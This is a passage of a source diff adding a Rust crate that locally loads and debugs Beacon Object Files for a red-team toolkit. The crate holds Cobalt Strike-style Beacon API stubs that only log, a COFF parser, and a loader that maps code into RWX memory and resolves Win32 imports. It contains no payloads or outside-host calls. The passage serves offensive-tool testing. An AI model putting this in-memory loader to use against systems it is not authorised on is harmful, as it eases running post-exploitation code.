b"%windir%\\sysnative\\rundll32.exe\0".as_ref()
|
||||
};
|
||||
if buffer.is_null() || length <= 0 { return; }
|
||||
let n = (length as usize).min(default.len());
|
||||
std::ptr::copy_nonoverlapping(default.as_ptr(), buffer, n);
|
||||
eprintln!("[stub] BeaconGetSpawnTo(x86={}) -> {}",
|
||||
x86 != 0,
|
||||
String::from_utf8_lossy(&default[..n.saturating_sub(1)]));
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconInjectProcess(
|
||||
process_handle: *mut u8, pid: i32,
|
||||
_payload: *const u8, p_length: i32, p_offset: i32,
|
||||
_arg: *const u8, a_length: i32,
|
||||
) {
|
||||
eprintln!(
|
||||
"[stub] BeaconInjectProcess(handle=0x{:x}, pid={}, payload_len={}, payload_off={}, arg_len={})",
|
||||
process_handle as usize, pid, p_length, p_offset, a_length,
|
||||
);
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconInjectTemporaryProcess(
|
||||
process_info: *mut u8,
|
||||
_payload: *const u8, p_length: i32, p_offset: i32,
|
||||
_arg: *const u8, a_length: i32,
|
||||
) {
|
||||
eprintln!(
|
||||
"[stub] BeaconInjectTemporaryProcess(pi=0x{:x}, payload_len={}, payload_off={}, arg_len={})",
|
||||
process_info as usize, p_length, p_offset, a_length,
|
||||
);
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconCleanupProcess(process_info: *mut u8) {
|
||||
eprintln!("[stub] BeaconCleanupProcess(pi=0x{:x})", process_info as usize);
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconSpawnTemporaryProcess(
|
||||
x86: i32, ignore_token: i32,
|
||||
_si: *mut u8, _pi: *mut u8,
|
||||
) -> i32 {
|
||||
eprintln!("[stub] BeaconSpawnTemporaryProcess(x86={}, ignore_token={}) -> false",
|
||||
x86 != 0, ignore_token != 0);
|
||||
0
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Utility: toWideChar.
|
||||
//
|
||||
// ASCII to UTF-16. NUL-terminates the destination if there's room.
|
||||
// Returns 1 on success, 0 on bad input. Real Beacon uses Win32's
|
||||
// `MultiByteToWideChar`; for ASCII-only input the byte-by-byte
|
||||
// extension matches it exactly.
|
||||
// ============================================================================
|
||||
|
||||
pub unsafe extern "system" fn toWideChar(src: *const u8, dst: *mut u16, max: i32) -> i32 {
|
||||
if src.is_null() || dst.is_null() || max <= 0 { return 0; }
|
||||
let mut i = 0usize;
|
||||
let max = max as usize;
|
||||
while i + 1 < max {
|
||||
let b = *src.add(i);
|
||||
if b == 0 { break; }
|
||||
*dst.add(i) = b as u16;
|
||||
i += 1;
|
||||
}
|
||||
*dst.add(i) = 0;
|
||||
1
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Session KV store (CS 4.9+).
|
||||
// ============================================================================
|
||||
|
||||
pub unsafe extern "system" fn BeaconAddValue(key: *const u8, ptr: *mut u8) -> i32 {
|
||||
let Some(k) = cstr_to_string(key) else { return 0; };
|
||||
kv_with(|m| { m.insert(k, ptr as usize); });
|
||||
1
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconGetValue(key: *const u8) -> *mut u8 {
|
||||
let Some(k) = cstr_to_string(key) else { return std::ptr::null_mut(); };
|
||||
kv_with(|m| m.get(&k).copied().unwrap_or(0)) as *mut u8
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconRemoveValue(key: *const u8) -> i32 {
|
||||
let Some(k) = cstr_to_string(key) else { return 0; };
|
||||
kv_with(|m| if m.remove(&k).is_some() { 1 } else { 0 })
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// BeaconInformation (CS 4.9+) - fill an opaque BEACON_INFO block.
|
||||
//
|
||||
// The harness writes a fixed-shape blob: 4 bytes BOF mode marker,
|
||||
// 4 bytes harness pid, 8 bytes sleep_ms, rest zeroed. The user code
|
||||
// reads specific offsets via casts (until we ship a typed wrapper).
|
||||
// ============================================================================
|
||||
|
||||
pub unsafe extern "system" fn BeaconInformation(info: *mut u8) -> i32 {
|
||||
if info.is_null() { return 0; }
|
||||
// Zero the whole 256-byte block first.
|
||||
std::ptr::write_bytes(info, 0, 256);
|
||||
// Slot 0..4: signature 'EKBF' (EntropyKit BOF) so callers can
|
||||
// tell they're running inside the local harness.
|
||||
*(info as *mut u32) = u32::from_le_bytes(*b"EKBF");
|
||||
// Slot 4..8: pid.
|
||||
*(info.add(4) as *mut u32) = std::process::id();
|
||||
// Slot 8..16: a fake sleep of 0 (the harness doesn't loop).
|
||||
*(info.add(8) as *mut u64) = 0;
|
||||
1
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error reporting (CS 4.10+).
|
||||
// ============================================================================
|
||||
|
||||
pub unsafe extern "system" fn BeaconIsErrorMessage(kind: i32, fmt: *const u8) {
|
||||
if fmt.is_null() { return; }
|
||||
let mut n = 0usize;
|
||||
while *fmt.add(n) != 0 && n < 64 * 1024 { n += 1; }
|
||||
let bytes = std::slice::from_raw_parts(fmt, n);
|
||||
let s = String::from_utf8_lossy(bytes);
|
||||
eprintln!("[BOF error type={kind}] {s}");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Custom user data (CS 4.10+).
|
||||
// ============================================================================
|
||||
|
||||
static CUSTOM_USER_DATA: Mutex<usize> = Mutex::new(0);
|
||||
|
||||
/// Test hook for the harness to seed user data before running the
|
||||
/// BOF. Not exported to BOFs - they call `BeaconGetCustomUserData`
|
||||
/// instead.
|
||||
pub fn set_custom_user_data(p: usize) {
|
||||
*CUSTOM_USER_DATA.lock().unwrap() = p;
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconGetCustomUserData() -> *mut u8 {
|
||||
*CUSTOM_USER_DATA.lock().unwrap() as *mut u8
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Data store APIs (CS 4.10+) - memory-safety primitives. Stubbed as
|
||||
// no-ops with logging; the operator gets visibility into what the
|
||||
// BOF is doing without crashing on missing symbols.
|
||||
// ============================================================================
|
||||
|
||||
pub unsafe extern "system" fn BeaconDataStoreGetItem(index: i32) -> *mut u8 {
|
||||
eprintln!("[stub] BeaconDataStoreGetItem({index}) -> null");
|
||||
std::ptr::null_mut()
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconDataStoreProtectItem(index: i32) {
|
||||
eprintln!("[stub] BeaconDataStoreProtectItem({index})");
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconDataStoreUnprotectItem(index: i32) {
|
||||
eprintln!("[stub] BeaconDataStoreUnprotectItem({index})");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Beacon gate APIs (CS 4.10+) - syscall obfuscation. Stubbed.
|
||||
// ============================================================================
|
||||
|
||||
pub unsafe extern "system" fn BeaconGate(vftable_p: *mut u8, indices_p: *mut u8) -> i32 {
|
||||
eprintln!("[stub] BeaconGate(vftable=0x{:x}, indices=0x{:x}) -> false",
|
||||
vftable_p as usize, indices_p as usize);
|
||||
0
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconGateReturnValue() -> *mut u8 {
|
||||
std::ptr::null_mut()
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconDisableBeaconGate() -> i32 {
|
||||
eprintln!("[stub] BeaconDisableBeaconGate()");
|
||||
1
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconEnableBeaconGate() -> i32 {
|
||||
eprintln!("[stub] BeaconEnableBeaconGate()");
|
||||
1
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Custom commands (CS 4.10+).
|
||||
// ============================================================================
|
||||
|
||||
static COMMANDS: Mutex<Option<HashMap<String, usize>>> = Mutex::new(None);
|
||||
|
||||
fn commands_with<R>(f: impl FnOnce(&mut HashMap<String, usize>) -> R) -> R {
|
||||
let mut g = COMMANDS.lock().unwrap();
|
||||
if g.is_none() { *g = Some(HashMap::new()); }
|
||||
f(g.as_mut().unwrap())
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconAddCommand(command: *const u8, function: *mut u8) -> i32 {
|
||||
let Some(k) = cstr_to_string(command) else { return 0; };
|
||||
commands_with(|m| { m.insert(k, function as usize); });
|
||||
1
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconRemoveCommand(command: *const u8) -> i32 {
|
||||
let Some(k) = cstr_to_string(command) else { return 0; };
|
||||
commands_with(|m| if m.remove(&k).is_some() { 1 } else { 0 })
|
||||
}
|
||||
|
||||
pub unsafe extern "system" fn BeaconGetCommand(command: *const u8) -> *mut u8 {
|
||||
let Some(k) = cstr_to_string(command) else { return std::ptr::null_mut(); };
|
||||
commands_with(|m| m.get(&k).copied().unwrap_or(0)) as *mut u8
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Dispatch table: name to function pointer.
|
||||
//
|
||||
// One entry per Beacon API the harness implements. The runner's
|
||||
// `__imp_<Name>` slot resolver consults this table; unknown names
|
||||
// fall through to "unresolved external" which fails fast.
|
||||
// ============================================================================
|
||||
|
||||
pub fn resolve(name: &str) -> Option<*const u8> {
|
||||
let f: *const u8 = match name {
|
||||
// Output
|
||||
"BeaconPrintf" => BeaconPrintf as *const u8,
|
||||
"BeaconOutput" => BeaconOutput as *const u8,
|
||||
|
||||
// Data parsing
|
||||
"BeaconDataParse" => BeaconDataParse as *const u8,
|
||||
"BeaconDataInt" => BeaconDataInt as *const u8,
|
||||
"BeaconDataShort" => BeaconDataShort as *const u8,
|
||||
"BeaconDataLength" => BeaconDataLength as *const u8,
|
||||
"BeaconDataExtract" => BeaconDataExtract as *const u8,
|
||||
|
||||
// Format
|
||||
"BeaconFormatAlloc" => BeaconFormatAlloc as *const u8,
|
||||
"BeaconFormatReset" => BeaconFormatReset as *const u8,
|
||||
"BeaconFormatFree" => BeaconFormatFree as *const u8,
|
||||
"BeaconFormatAppend" => BeaconFormatAppend as *const u8,
|
||||
"BeaconFormatPrintf" => BeaconFormatPrintf as *const u8,
|
||||
"BeaconFormatToString" => BeaconFormatToString as *const u8,
|
||||
"BeaconFormatInt" => BeaconFormatInt as *const u8,
|
||||
|
||||
// Token
|
||||
"BeaconUseToken" => BeaconUseToken as *const u8,
|
||||
"BeaconRevertToken" => BeaconRevertToken as *const u8,
|
||||
"BeaconIsAdmin" => BeaconIsAdmin as *const u8,
|
||||
|
||||
// Spawn / inject
|
||||
"BeaconGetSpawnTo" => BeaconGetSpawnTo as *const u8,
|
||||
"BeaconInjectProcess" => BeaconInjectProcess as *const u8,
|
||||
"BeaconInjectTemporaryProcess" => BeaconInjectTemporaryProcess as *const u8,
|
||||
"BeaconCleanupProcess" => BeaconCleanupProcess as *const u8,
|
||||
"BeaconSpawnTemporaryProcess" => BeaconSpawnTemporaryProcess as *const u8,
|
||||
|
||||
// Utility
|
||||
"toWideChar" => toWideChar as *const u8,
|
||||
|
||||
// KV store
|
||||
"BeaconAddValue" => BeaconAddValue as *const u8,
|
||||
"BeaconGetValue" => BeaconGetValue as *const u8,
|
||||
"BeaconRemoveValue" => BeaconRemoveValue as *const u8,
|
||||
|
||||
// Beacon info / errors / custom data
|
||||
"BeaconInformation" => BeaconInformation as *const u8,
|
||||
"BeaconIsErrorMessage" => BeaconIsErrorMessage as *const u8,
|
||||
"BeaconGetCustomUserData" => BeaconGetCustomUserData as *const u8,
|
||||
|
||||
// Data store
|
||||
"BeaconDataStoreGetItem" => BeaconDataStoreGetItem as *const u8,
|
||||
"BeaconDataStoreProtectItem" => BeaconDataStoreProtectItem as *const u8,
|
||||
"BeaconDataStoreUnprotectItem" => BeaconDataStoreUnprotectItem as *const u8,
|
||||
|
||||
// Beacon gate
|
||||
"BeaconGate" => BeaconGate as *const u8,
|
||||
"BeaconGateReturnValue" => BeaconGateReturnValue as *const u8,
|
||||
"BeaconDisableBeaconGate" => BeaconDisableBeaconGate as *const u8,
|
||||
"BeaconEnableBeaconGate" => BeaconEnableBeaconGate as *const u8,
|
||||
|
||||
// Custom commands
|
||||
"BeaconAddCommand" => BeaconAddCommand as *const u8,
|
||||
"BeaconRemoveCommand" => BeaconRemoveCommand as *const u8,
|
||||
"BeaconGetCommand" => BeaconGetCommand as *const u8,
|
||||
|
||||
_ => return None,
|
||||
};
|
||||
Some(f)
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! COFF object-file parser.
|
||||
//!
|
||||
//! Read-only parsing of a `.obj` produced by `entc compile
|
||||
//! --type=bof|coff` (or any standard COFF AMD64 object). Reads only
|
||||
//! what the loader needs: file header, section headers, symbol
|
||||
//! table, string table, relocations.
|
||||
//!
|
||||
//! Stays alloc-light - the input bytes stay live for the whole load,
|
||||
//! so the parser hands out slices into them rather than copying.
|
||||
|
||||
// Microsoft COFF constants we care about, spelled out rather than
|
||||
// pulled from windows-sys so the parser stays compatible with the
|
||||
// emitter (`src/coff.rs` in the compiler crate uses the same values).
|
||||
|
||||
pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664;
|
||||
pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001;
|
||||
pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004;
|
||||
|
||||
pub struct ParsedCoff<'a> {
|
||||
pub bytes: &'a [u8],
|
||||
pub n_sections: u16,
|
||||
pub symtab_off: usize,
|
||||
pub n_symbols: u32,
|
||||
/// Cached string table starting at `symtab + 18 * n_symbols`.
|
||||
/// First 4 bytes are the size (including the 4-byte size field).
|
||||
pub strtab_off: usize,
|
||||
}
|
||||
|
||||
impl<'a> ParsedCoff<'a> {
|
||||
pub fn parse(bytes: &'a [u8]) -> Result<Self, String> {
|
||||
if bytes.len() < 20 {
|
||||
return Err("file too small to be a COFF object".into());
|
||||
}
|
||||
let machine = u16::from_le_bytes([bytes[0], bytes[1]]);
|
||||
if machine != IMAGE_FILE_MACHINE_AMD64 {
|
||||
return Err(format!(
|
||||
"expected AMD64 machine (0x{:04x}), got 0x{machine:04x}",
|
||||
IMAGE_FILE_MACHINE_AMD64
|
||||
));
|
||||
}
|
||||
let n_sections = u16::from_le_bytes([bytes[2], bytes[3]]);
|
||||
let symtab_off = u32::from_le_bytes([bytes[8], bytes[9], bytes[10], bytes[11]]) as usize;
|
||||
let n_symbols = u32::from_le_bytes([bytes[12], bytes[13], bytes[14], bytes[15]]);
|
||||
let strtab_off = symtab_off + 18 * n_symbols as usize;
|
||||
Ok(Self { bytes, n_sections, symtab_off, n_symbols, strtab_off })
|
||||
}
|
||||
|
||||
pub fn section(&self, i: u16) -> SectionInfo<'a> {
|
||||
let base = 20 + 40 * i as usize;
|
||||
let raw_size = u32::from_le_bytes(self.bytes[base+16..base+20].try_into().unwrap());
|
||||
let raw_off = u32::from_le_bytes(self.bytes[base+20..base+24].try_into().unwrap());
|
||||
let reloc_off = u32::from_le_bytes(self.bytes[base+24..base+28].try_into().unwrap());
|
||||
let n_relocs = u16::from_le_bytes(self.bytes[base+32..base+34].try_into().unwrap());
|
||||
let chars = u32::from_le_bytes(self.bytes[base+36..base+40].try_into().unwrap());
|
||||
let name = {
|
||||
let raw = &self.bytes[base..base+8];
|
||||
let end = raw.iter().position(|&b| b == 0).unwrap_or(raw.len());
|
||||
std::str::from_utf8(&raw[..end]).unwrap_or("?").to_string()
|
||||
};
|
||||
SectionInfo {
|
||||
name,
|
||||
raw_size,
|
||||
raw: if raw_off == 0 { &[] } else {
|
||||
&self.bytes[raw_off as usize .. raw_off as usize + raw_size as usize]
|
||||
},
|
||||
relocs: if reloc_off == 0 { &[] } else {
|
||||
&self.bytes[reloc_off as usize .. reloc_off as usize + 10 * n_relocs as usize]
|
||||
},
|
||||
characteristics: chars,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn symbol_name(&self, idx: u32) -> String {
|
||||
let base = self.symtab_off + 18 * idx as usize;
|
||||
let raw = &self.bytes[base..base+8];
|
||||
if raw[0] == 0 && raw[1] == 0 && raw[2] == 0 && raw[3] == 0 {
|
||||
let off = u32::from_le_bytes(raw[4..8].try_into().unwrap()) as usize;
|
||||
let start = self.strtab_off + off;
|
||||
let end = self.bytes[start..].iter().position(|&b| b == 0)
|
||||
.map(|n| start + n).unwrap_or(self.bytes.len());
|
||||
std::str::from_utf8(&self.bytes[start..end]).unwrap_or("?").to_string()
|
||||
} else {
|
||||
let end = raw.iter().position(|&b| b == 0).unwrap_or(8);
|
||||
std::str::from_utf8(&raw[..end]).unwrap_or("?").to_string()
|
||||
}
|
||||
}
|
||||
|
||||
pub fn symbol_value(&self, idx: u32) -> u32 {
|
||||
let base = self.symtab_off + 18 * idx as usize;
|
||||
u32::from_le_bytes(self.bytes[base+8..base+12].try_into().unwrap())
|
||||
}
|
||||
|
||||
/// 1-based section number, or 0 for undefined (external) symbols.
|
||||
/// Stored as a signed 16-bit in the COFF spec - `IMAGE_SYM_UNDEFINED = 0`,
|
||||
/// `IMAGE_SYM_ABSOLUTE = -1`, `IMAGE_SYM_DEBUG = -2`; we only care about
|
||||
/// the >= 1 cases plus 0.
|
||||
pub fn symbol_section(&self, idx: u32) -> i16 {
|
||||
let base = self.symtab_off + 18 * idx as usize;
|
||||
i16::from_le_bytes(self.bytes[base+12..base+14].try_into().unwrap())
|
||||
}
|
||||
}
|
||||
|
||||
pub struct SectionInfo<'a> {
|
||||
pub name: String,
|
||||
pub raw_size: u32,
|
||||
pub raw: &'a [u8],
|
||||
pub relocs: &'a [u8],
|
||||
pub characteristics: u32,
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! bof-loader - shared in-process COFF loader for EntropyKit BOFs.
|
||||
//!
|
||||
//! Used by:
|
||||
//! - `bof-runner` (CLI harness for fast iteration)
|
||||
//! - `entc-debug` (VS Code DAP server, BOF mode)
|
||||
//!
|
||||
//! Both consumers need the same logic - parse a `.obj`, allocate
|
||||
//! sections, resolve `__imp_*` slots (Beacon stubs + Win32 imports),
|
||||
//! apply REL32 / ADDR64 relocations, expose the loaded artifact for
|
||||
//! the caller to either execute (`bof-runner`) or instrument with
|
||||
//! `int 3` planting (`entc-debug`).
|
||||
//!
|
||||
//! Public surface:
|
||||
//!
|
||||
//! - [`coff::ParsedCoff`] - parser for COFF object files.
|
||||
//! - [`beacon`] - Beacon API stub dispatch table.
|
||||
//! - [`args::parse_packed_args`] - bof_pack-format CLI args packer.
|
||||
//! - [`load::load`] - end-to-end load: parse to map to resolve to relocate.
|
||||
//! Returns a [`load::LoadedBof`] with section bases, `go` offset,
|
||||
//! and the imp-slot region (kept live for the caller's lifetime).
|
||||
//!
|
||||
//! Windows-only - the loader needs `VirtualAlloc` + `LoadLibrary` +
|
||||
//! `GetProcAddress`. On non-Windows, the crate builds but every load
|
||||
//! call returns an "Windows-only" error so the consumers stay
|
||||
//! cross-platform-buildable.
|
||||
|
||||
#![allow(clippy::missing_safety_doc)]
|
||||
|
||||
pub mod coff;
|
||||
|
||||
#[cfg(windows)]
|
||||
pub mod beacon;
|
||||
|
||||
pub mod args;
|
||||
|
||||
#[cfg(windows)]
|
||||
pub mod load;
|
||||
|
||||
#[cfg(not(windows))]
|
||||
pub mod load {
|
||||
pub struct LoadedBof;
|
||||
pub fn load(_bytes: &[u8]) -> Result<LoadedBof, String> {
|
||||
Err("bof-loader is Windows-only - it calls Win32 APIs to map RWX pages \
|
||||
and resolve __imp_* symbols.".into())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,251 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
//! End-to-end COFF load.
|
||||
//!
|
||||
//! Given the bytes of a `.obj`, produce a [`LoadedBof`] that the
|
||||
//! caller can execute (`bof-runner`) or instrument with `int 3` for
|
||||
//! source-level debugging (`entc-debug`).
|
||||
//!
|
||||
//! The load pipeline:
|
||||
//!
|
||||
//! 1. Parse the COFF headers / symbol table / string table.
|
||||
//! 2. VirtualAlloc each section's raw bytes into RWX memory.
|
||||
//! `.bss` (raw_size > 0 but no raw bytes) gets a zero-filled
|
||||
//! VirtualAlloc'd region. RWX everywhere matches what we use
|
||||
//! for shellcode - pragmatic for a test loader; a production
|
||||
//! Beacon-equivalent would split RX/R/RW per characteristic.
|
||||
//! 3. Walk every symbol:
|
||||
//! - Undefined external (`__imp_<NAME>`): resolve via the
|
||||
//! Beacon-API dispatch table, falling back to
|
||||
//! `GetModuleHandle`/`LoadLibrary` + `GetProcAddress` for
|
||||
//! `LIBRARY$Function` form. Store the resolved pointer in
|
||||
//! a per-symbol slot inside a `PAGE_READWRITE` slot table.
|
||||
//! - Defined section symbol: record runtime address (section
|
||||
//! base + symbol's value).
|
||||
//! Resolve `go` along the way - its offset is needed by the
|
||||
//! caller to invoke the entry point.
|
||||
//! 4. Apply every section's relocations using the unified
|
||||
//! `sym_addr` table.
|
||||
|
||||
use std::ptr;
|
||||
|
||||
use windows_sys::Win32::Foundation::HMODULE;
|
||||
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress, LoadLibraryA};
|
||||
use windows_sys::Win32::System::Memory::{
|
||||
VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
|
||||
};
|
||||
|
||||
use crate::beacon;
|
||||
use crate::coff::{ParsedCoff, IMAGE_REL_AMD64_ADDR64, IMAGE_REL_AMD64_REL32};
|
||||
|
||||
/// Result of loading a `.obj` into memory.
|
||||
///
|
||||
/// All fields refer to live VirtualAlloc'd regions. The caller keeps
|
||||
/// the `LoadedBof` value alive for as long as it wants to call into
|
||||
/// the BOF - dropping it doesn't release the regions (we deliberately
|
||||
/// leak them; the harness exits after one run, and the debugger
|
||||
/// process exits after a session, so explicit teardown isn't worth
|
||||
/// the complexity).
|
||||
pub struct LoadedBof {
|
||||
/// Runtime base address of the `.text` section. Add `go_offset`
|
||||
/// for the entry function's address.
|
||||
pub text_base: usize,
|
||||
pub text_size: usize,
|
||||
/// Offset of `go` within `.text`. `text_base + go_offset` is the
|
||||
/// address to transmute and call as `extern "system" fn(*const u8, i32)`.
|
||||
pub go_offset: u32,
|
||||
/// Per-section runtime bases (1-indexed; element 0 is unused so
|
||||
/// COFF's 1-based section numbers map directly).
|
||||
pub section_bases: Vec<usize>,
|
||||
/// Address of the `__imp_*` slot table. Indexed by symbol-table
|
||||
/// index - `slot_addr(idx) = imp_slots + idx * 8`. Each slot
|
||||
/// holds the resolved function pointer for that external symbol.
|
||||
pub imp_slots: usize,
|
||||
}
|
||||
|
||||
pub fn load(bytes: &[u8]) -> Result<LoadedBof, String> {
|
||||
let coff = ParsedCoff::parse(bytes)?;
|
||||
|
||||
// ---- Map every section's raw bytes into RWX memory --------------------
|
||||
let mut section_bases: Vec<usize> = vec![0; coff.n_sections as usize + 1];
|
||||
let mut text_base: usize = 0;
|
||||
let mut text_size: usize = 0;
|
||||
|
||||
for i in 0..coff.n_sections {
|
||||
let sec = coff.section(i);
|
||||
let size = sec.raw_size as usize;
|
||||
if size == 0 { continue; }
|
||||
let p = unsafe {
|
||||
VirtualAlloc(ptr::null(), size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
} as usize;
|
||||
if p == 0 {
|
||||
return Err(format!("VirtualAlloc({size}) failed for section `{}`", sec.name));
|
||||
}
|
||||
if !sec.raw.is_empty() {
|
||||
unsafe { ptr::copy_nonoverlapping(sec.raw.as_ptr(), p as *mut u8, size); }
|
||||
} else {
|
||||
// .bss-style: zero-fill the region.
|
||||
unsafe { ptr::write_bytes(p as *mut u8, 0, size); }
|
||||
}
|
||||
section_bases[i as usize + 1] = p;
|
||||
if sec.name == ".text" {
|
||||
text_base = p;
|
||||
text_size = size;
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Build a unified symbol-address table -----------------------------
|
||||
let n_syms = coff.n_symbols as usize;
|
||||
let imp_slots = unsafe {
|
||||
VirtualAlloc(ptr::null(), n_syms.max(1) * 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
|
||||
} as usize;
|
||||
if imp_slots == 0 {
|
||||
return Err("VirtualAlloc for imp_slots failed".into());
|
||||
}
|
||||
|
||||
let mut sym_addr: Vec<usize> = vec![0; n_syms];
|
||||
let mut go_offset: Option<u32> = None;
|
||||
|
||||
for idx in 0..coff.n_symbols {
|
||||
let name = coff.symbol_name(idx);
|
||||
let section = coff.symbol_section(idx);
|
||||
let value = coff.symbol_value(idx);
|
||||
|
||||
if name == "go" {
|
||||
go_offset = Some(value);
|
||||
}
|
||||
|
||||
if section == 0 {
|
||||
// Undefined external - resolve via Beacon API table or
|
||||
// LoadLibrary/GetProcAddress.
|
||||
let slot_addr = imp_slots + (idx as usize) * 8;
|
||||
let Some(rest) = name.strip_prefix("__imp_") else {
|
||||
return Err(format!(
|
||||
"undefined symbol `{name}` is not in `__imp_<...>` form - \
|
||||
unresolvable by the loader"
|
||||
));
|
||||
};
|
||||
let resolved: usize = if let Some(p) = beacon::resolve(rest) {
|
||||
p as usize
|
||||
} else if let Some((lib, fun)) = split_dollar(rest) {
|
||||
resolve_win32(lib, fun)?
|
||||
} else {
|
||||
return Err(format!(
|
||||
"unresolved external `{name}` - not a known Beacon API \
|
||||
and not a `LIBRARY$Function` form"
|
||||
));
|
||||
};
|
||||
unsafe { *(slot_addr as *mut usize) = resolved; }
|
||||
sym_addr[idx as usize] = slot_addr;
|
||||
} else if (section as usize) <= coff.n_sections as usize {
|
||||
// Defined in one of our mapped sections.
|
||||
sym_addr[idx as usize] = section_bases[section as usize] + value as usize;
|
||||
}
|
||||
// Negative section numbers (absolute, debug) - leave 0; no
|
||||
// relocation should reference these.
|
||||
}
|
||||
|
||||
let Some(go_offset) = go_offset else {
|
||||
return Err("BOF has no `go` symbol".into());
|
||||
};
|
||||
|
||||
// ---- Apply each section's relocations --------------------------------
|
||||
for i in 0..coff.n_sections {
|
||||
let sec = coff.section(i);
|
||||
if sec.relocs.is_empty() { continue; }
|
||||
let sec_base = section_bases[i as usize + 1];
|
||||
if sec_base == 0 {
|
||||
return Err(format!(
|
||||
"section `{}` has relocations but wasn't mapped - refusing to patch",
|
||||
sec.name
|
||||
));
|
||||
}
|
||||
let mut off = 0;
|
||||
while off + 10 <= sec.relocs.len() {
|
||||
let at = u32::from_le_bytes(sec.relocs[off..off+4].try_into().unwrap());
|
||||
let sym = u32::from_le_bytes(sec.relocs[off+4..off+8].try_into().unwrap());
|
||||
let ty = u16::from_le_bytes(sec.relocs[off+8..off+10].try_into().unwrap());
|
||||
off += 10;
|
||||
|
||||
let patch_site = sec_base + at as usize;
|
||||
let sym_target = sym_addr[sym as usize];
|
||||
|
||||
match ty {
|
||||
IMAGE_REL_AMD64_REL32 => {
|
||||
// The patch site already carries any compiler-side
|
||||
// addend (in particular, the in-section offset for
|
||||
// cross-section data references). Final disp32 is:
|
||||
// sym_target + existing_addend - (patch_site + 4)
|
||||
let existing_addend = unsafe {
|
||||
let mut buf = [0u8; 4];
|
||||
ptr::copy_nonoverlapping(patch_site as *const u8, buf.as_mut_ptr(), 4);
|
||||
i32::from_le_bytes(buf) as i64
|
||||
};
|
||||
let next_ip = (patch_site + 4) as i64;
|
||||
let rel = sym_target as i64 + existing_addend - next_ip;
|
||||
if rel < i32::MIN as i64 || rel > i32::MAX as i64 {
|
||||
return Err(format!(
|
||||
"REL32 to symbol #{sym} (`{}`) is out of range \
|
||||
(target=0x{sym_target:x}, addend=0x{existing_addend:x}, \
|
||||
site=0x{patch_site:x})",
|
||||
coff.symbol_name(sym)
|
||||
));
|
||||
}
|
||||
let bytes = (rel as i32).to_le_bytes();
|
||||
unsafe {
|
||||
ptr::copy_nonoverlapping(bytes.as_ptr(), patch_site as *mut u8, 4);
|
||||
}
|
||||
}
|
||||
IMAGE_REL_AMD64_ADDR64 => {
|
||||
let bytes = (sym_target as u64).to_le_bytes();
|
||||
unsafe {
|
||||
ptr::copy_nonoverlapping(bytes.as_ptr(), patch_site as *mut u8, 8);
|
||||
}
|
||||
}
|
||||
other => {
|
||||
return Err(format!(
|
||||
"unsupported relocation type 0x{other:04x} at \
|
||||
section #{i} offset 0x{at:x} (loader handles \
|
||||
REL32 + ADDR64 only)"
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(LoadedBof {
|
||||
text_base,
|
||||
text_size,
|
||||
go_offset,
|
||||
section_bases,
|
||||
imp_slots,
|
||||
})
|
||||
}
|
||||
|
||||
/// `__imp_USER32$MessageBoxA` to `("USER32", "MessageBoxA")`.
|
||||
fn split_dollar(rest: &str) -> Option<(&str, &str)> {
|
||||
let dollar = rest.find('$')?;
|
||||
Some((&rest[..dollar], &rest[dollar+1..]))
|
||||
}
|
||||
|
||||
fn resolve_win32(lib: &str, fun: &str) -> Result<usize, String> {
|
||||
// GetModuleHandle first (already-loaded libraries); fall back to
|
||||
// LoadLibrary so calling into a DLL not currently in the process
|
||||
// maps it on demand. Matches what Beacon's loader does and what
|
||||
// the Tradecraft Garden literature recommends for the missing-
|
||||
// User32 case (`PIC Parterre`).
|
||||
let lib_z = format!("{lib}\0");
|
||||
let lib_z_bytes = lib_z.as_bytes();
|
||||
let mut h: HMODULE = unsafe { GetModuleHandleA(lib_z_bytes.as_ptr()) };
|
||||
if h.is_null() {
|
||||
h = unsafe { LoadLibraryA(lib_z_bytes.as_ptr()) };
|
||||
}
|
||||
if h.is_null() {
|
||||
return Err(format!("LoadLibraryA({lib}) failed"));
|
||||
}
|
||||
let fun_z = format!("{fun}\0");
|
||||
let p = unsafe { GetProcAddress(h, fun_z.as_bytes().as_ptr()) };
|
||||
match p {
|
||||
Some(f) => Ok(f as usize),
|
||||
